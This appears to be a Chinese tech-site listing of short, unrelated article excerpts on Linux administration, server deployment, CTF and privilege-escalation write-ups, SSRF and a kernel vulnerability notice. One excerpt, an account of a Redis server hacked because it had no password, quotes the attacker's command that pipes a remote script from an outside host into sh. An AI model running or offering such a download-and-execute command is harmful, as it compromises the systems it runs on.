下一关的密码保存在符合几个条件的文件中，条件包含：文件大小为1033字节、不可执行、可读文件。
小E通过努力学习，偷学到了T姐设计的健康码架构，也就是利用弹性伸缩的能力，在人民群众有集中的亮码需求的时候，自动对运行健康码Web前端和Java后台业务的虚拟机进行扩容，并且实时监控虚拟机的运行情况，在虚拟机负载不高时再进行缩容，以形成闭环反馈，提升虚拟机资源的使用效率。
iptables备份数据到配置文件/etc/sysconfig/iptables，使用如下命令
需要安装插件 https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers 安装Doc
近期在学习Linux提权，完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩，但在获得shell后的提权过程中，表现很出色。提权题目设计的逻辑严谨（不会出现突然的脑洞让你卡住），注重基础知识的考察，要求的知识面也很广，涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、Linux ACL访问控制权限等方面的知识，属于不可多得的精品之作，下面就开始这次靶场实战之旅。
这篇文章主要是记录在日常工作中遇到的一些问题，将其都总结整合到一起，方便查看，提高工作效率。小伙伴们看到标题可能觉得奇怪，不是过五关斩六将而是过三关斩一将。慢慢地往后看发现其中奥秘。
MySQL目录概要 MySQL的几个常用安装包：rpm、源码、二进制免编译 cd /usr/local/src //切换到下载源码包的目录 wget http://mirrors.sohu.com/mysql/MySQL-5.6/mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz tar zxvf mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz //解压 mv mysql-5.6.35-linux-glibc2.
从世界瞩目的围棋游戏 AlphaGo，近年来，强化学习在游戏领域里不断取得十分引人注目的成绩。自此之后，棋牌游戏、射击游戏、电子竞技游戏，如 Atari、超级马里奥、星际争霸到 DOTA 都不断取得了突破和进展，成为热门的研究领域。
最近主机受到攻击，原因可能是redis集群没有设置密码（因为快过期了，不想搞得太复杂就没设），然后被人家搞事情了，就被人一把set了些执行脚本，形如curl -fsSL http://d.powerofwish.com/pm.sh | sh,真的是猥琐啊，我登上主机一看，简直是猥琐至极，不能忍了啊。
11.1 LAMP架构介绍 LAMP架构介绍 LAMP架构包含了 Linux+Apache(httpd)+MySQL+PHP ，简称LAMP Linux是操作系统，比如centos，Ubuntu都是linux操作系统 Apache提供web服务软件，其真正名字为 httpd，习惯称之为Apache MySQL存储软件，存的是数据、字符串，不是图片 PHP是脚本语言，和shell相似，但比shell复杂，PHP是由 C语言 开发的，通常用于做网站（主要）； 目前由于移动网络的影响，PHP现在不怎么受欢迎
作为.net程序员大部分接触的是windows服务器。因为作为微软原生的操作系统对.net的支持性是最好的。
成长平台 web 安全学习的第一关是关于搭建 PHP 的运行环境，这个任务的目标是为了让学员理解 PHP 的运行环境中各个组件之间的关系，通过实际的操作来理解，不允许使用一键化工具，比如 phpstudy 等平台，因为在搭建的过程中会遇到各种各样的问题，在一步一步解决问题的过程中，加深对技术背后原理的理解，从而提升学员基础能力。
物联网网关 尽管有了数据分析工具，云计算和连接的设备仍然是构成物联网产品的关键，但网关也至关重要。 网关具备设备连通性、协议转换、数据过滤和处理以及安全性等功能，是将IT联系在一起的重要部分。 物联网
强盗战争是针对绝对的初学者。它将教授需要能够玩其他战争游戏的基础知识，通过这个游戏能学习到很多 Linux 的基础知识。和大多数其他游戏一样，这个游戏按层次组织。你从0级开始尝试“击败”或“完成”它。完成一个关卡会产生关于如何开始下一关的信息。本网站上的“Level <X>”页面包含有关如何从上一级开始X级的信息。
人生不息~折腾不止，最近闲鱼入手了一台蜗牛星际装黑群晖作为Nas使用。但是这玩意只能内网访问有啥意思，遂折腾，有了此篇文章
①.根据代码使用maven打包的后的名字，使用ps -ef | grep name，得到进程的pid
首先，题目其实设置不是太难，主要是坑有点多，而且需要一定的时间才能完成。因为要本着贴近实战的原则出题，所以在做题的时候，很多人还是带着做传统 CTF 题目的思路来，所以有一些坑就让这部分人钻了牛角尖，出不来。
LNMP架构和LAMP架构挺像的，只不过一个用的是Apache，一个用的是Nginx。LNMP就是Linux+Nginx+MySQL+PHP，Nginx和Apache一样都是web服务器。
相同： 都在 缓存内核 中 读写 ， 先进先出 ，不支持 lseek 之类文件定位操作
下载地址：https://www.mongodb.com/download-center/community
网卡命名规则受biosdevname和net.ifnames两个参数影响 如果你的网卡名不是eth0怎么设置为eth0呢？
关于shell编程，说到底除了要掌握一些shell的编程套路外，本身对unix的命令掌握程度是关键，其中最常见的，要数sed，awk等文件操作，这些文件处理命令很丰富，网上内容很多，今天我详细说的是xargs这个看起来不怎么起眼的命令，甚至有些人不太明白它到底起作用。我的理解是我们用它可以像一个for循环似的，可以避免一些循环结构的使用，尤其是与命令的组合。 下面我们详细说明
- 不像Windows 可以修改注册表修改2MSL 的值，linux 需要修改内核宏定义重新编译，tcp_fin_timeout 不是2MSL 而是Fin-WAIT-2状态超时时间.
Linux 操作系统对做开发的人来说，已经再熟悉不过了。它具备免费、可靠、安全、稳定、多平台等优势，早在 1991 年公布以来，就得到迅猛的发展。以至于现在我们用到的几乎所有的智能设备都有它的应用。比如手机、电脑、路由器、电视等等。而这一切的一切都离不开一个人的突出贡献，那就是它的创造者——被称为 Linux 之父的林纳斯·托瓦兹(Linus Torvalds)。今天我们就带大家来看看这个"脱袜子"，到底是何许人也？(不了解 Linux 发展史的童鞋，可以移步看我的另外一篇文章：《影响LINUX发展的四位天才黑客》)
这个参数通常需要在高负载的访问服务器上增加。比如繁忙的网络（或网关/防火墙 Linux 服务器），再比如集群规模大，node 和 pod 数量超多，往往需要增加内核的内部 ARP 缓存大小。
本文为joshua317原创文章,转载请注明：转载自joshua317博客 https://www.joshua317.com/article/284
补充：网络管理器NetworkManager，动态网络的控制器与配置系统，它用于当网络设备可用时保持设备和连接开启并激活
wget https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.19-linux-glibc2.12-x86_64.tar.gz
菜鸡又来发表文章了，一开始的时候对整个内网的拓扑结构还不熟，所以做的时候很乱，写的也很乱。有很多方法都没有想到去用。qaq大佬们多多指教。
T2250控制器在项目设计的过程中，经常要写入大量的设备级的模块：开关型电动门和高压电机设备，这就要求上位机和下位机的画面程序功能在原来的欧陆公司LINTOOLS和FIX基础上要完善和做一些开发应用。 下面就从开关型电动门的画面制作和控制器程序编写上谈谈FIX和T2550的用法。
对于很多新装系统的小伙伴们 可能很多都不是太懂BIOS中都是干什么用的，小编这里给大家详细介绍一下
第二十七章 新版消息队列RabbitMQ回顾和容器化安装部署 第1集 基于Linux服务器安装RabbitMQ容器化部署 简介：Docker安装RabbitMQ消息队列 阿里云安装RabbitMQ 最少 2核4g或者推荐 2核8g（用家人账号购买，接近1折，初次买1年或者3年） 登录个人的Linux服务器 ssh root@8.129.113.233 Docker安装RabbitMQ 地址：https://hub.docker.com/_/rabbitmq/ #拉取镜像 docker pull ra
一夜之间，全网都在讨论《幻兽帕鲁》。这款游戏有多火？发售6天大卖800万份，在线人数突破210万大关，上万玩家涌入t腾讯云买服务器。嗯？游戏玩家来买腾讯云服务器？没错，想跟小伙伴们在帕鲁世界里畅玩，在帕鲁的世界，你可以选择与神奇的生物「帕鲁」一同享受悠闲的生活，也可以投身于与偷猎者进行生死搏斗的冒险。帕鲁可以进行战斗、繁殖、协助你做农活，也可以为你在工厂工作。你也可以将它们进行售卖，或肢解后食用。 由此可见部署个专属服务器太有必要了。
以西门子S7-1200(CPU1212C)与三菱FX5U-32MR/ES为例，通过巨控GRM300网关实现交换数据（将FX5U D200寄存器同步写入到S7-1200 BD1.DBW100），其他品牌的PLC均可实现（例如S7-300、SMART S7-200、罗克韦尔 AB1756和欧姆龙CJ2M等等）步骤类似不再重复介绍。
按ctrl + u 查看源代码 可以看到有一个设置为白色的下一关的按钮，点击即可过关。
我滴个天啊。。。。。弱密码随意登陆。。。。。不好意思，这题我真是非预期解法，具体的预期解法，之前信安之路文章已发，就不仔细讲述啦！
最近一次工作中，涉及python与.net core，应用开发完成，自然就需要在服务器上部署。
受学院老师所托，从学校学院那边接手了一台托管在网络中心的windows server 2008服务器，并且要部署好php和mysql数据库的环境，虽然平时也是比较喜欢服务器运维的，不过是Linux方向，没怎么接触过windows server。 本来想直接重装个CentOS上去，不过好像以后可能还会有.net或者asp的东西会要用到，申请机房还比较麻烦，所以还是决定使用win server，感觉道理是差不多的，应该没有问题。
最近需要演示自己的安卓开发作品，因此需要在自己的主力操作系统（Deepin）上实现安卓投屏，之后才好连接电脑在班级里演示。找寻一圈之后终于发现了开源的Linux端投屏神器Scrcpy. 因此在这里简单记录配置过程，方便后用。
说明： 服务器上的图片、js、css等文件属于静态文件；数据库文件是动态文件。
linux TIME_WAIT 相关参数: net.ipv4.tcp_tw_reuse = 0 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接，默认为0，表示关闭 net.ipv4.tcp_tw_recycle = 0 表示开启TCP连接中TIME-WAIT sockets的快速回收，默认为0，表示关闭 net.ipv4.tcp_fin_timeout = 60 表示如果套接字由本端要求关闭，这个参数决定了它保持在FIN-WAIT-2状态的时间（可改为30，一般来说
串行接口简称串口，也称串行通信接口或串行通讯接口（通常指COM接口），是采用串行通信方式的扩展接口。（至于再详细，自己百度）
10.23 linux任务计划cron Linux任务计划 crontab -u、-e、-l、-r 格式：分 时 日 月 周 user command 文件/var/spool/cron/username 分范围0-59，时范围0-23，日范围1-31，月范围1-12，周1-7 可用格式1-5表示一个范围1到5 可用格式1,2,3表示1或者2或者3 可用格式*/2表示被2整除的数字，比如小时，那就是每隔2小时 要保证服务是启动状态 systemctl start crond.service crontab命
SSRF漏洞（服务器端请求伪造）：是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统，正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统，利用漏洞可以发起网络请求来攻击内网服务
2.IPSEC能加密经过NAT转换的报文，但是不能验证经过NAT转换的报文，在穿越NAT时IKE协商的IP地址和端口不匹配
上月初，启明星辰ADLab提交了四个存在于Linux内核的远程漏洞，并命名为“Phoenix Talon”；其中一个漏洞为严重(Critical)级别，另外三个为高危(High)。昨天ADLab公布了其中严重(Critical)漏洞的相关细节。这四个漏洞的影响范围包括所有Linux kernel 2.5.69 ~ Linux kernel 4.11的内核版本。 根据启明星辰的介绍，漏洞可导致远程DOS，在符合一定利用条件下可导致远程代码执行，包括传输层的TCP、DCCP、SCTP以及网络层的IPv4和I
查看web.xml中<filter-mapping>的<url-pattern>来确定拦截规则，当是.action时所有以.action为结尾的请求都会被struts处理拦截，/test/.action则只有test目录下的请求会被拦截。
此方法需要具备基础shell知识，且需要全手动编写，较为复杂，推荐有linux使用基础者使用，教程可移步b站大佬的专栏，极为详细。
(2) 使用相关原理解决实验中汉字字库的存储扩展问题，并能够使用正确的字库数据填充。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
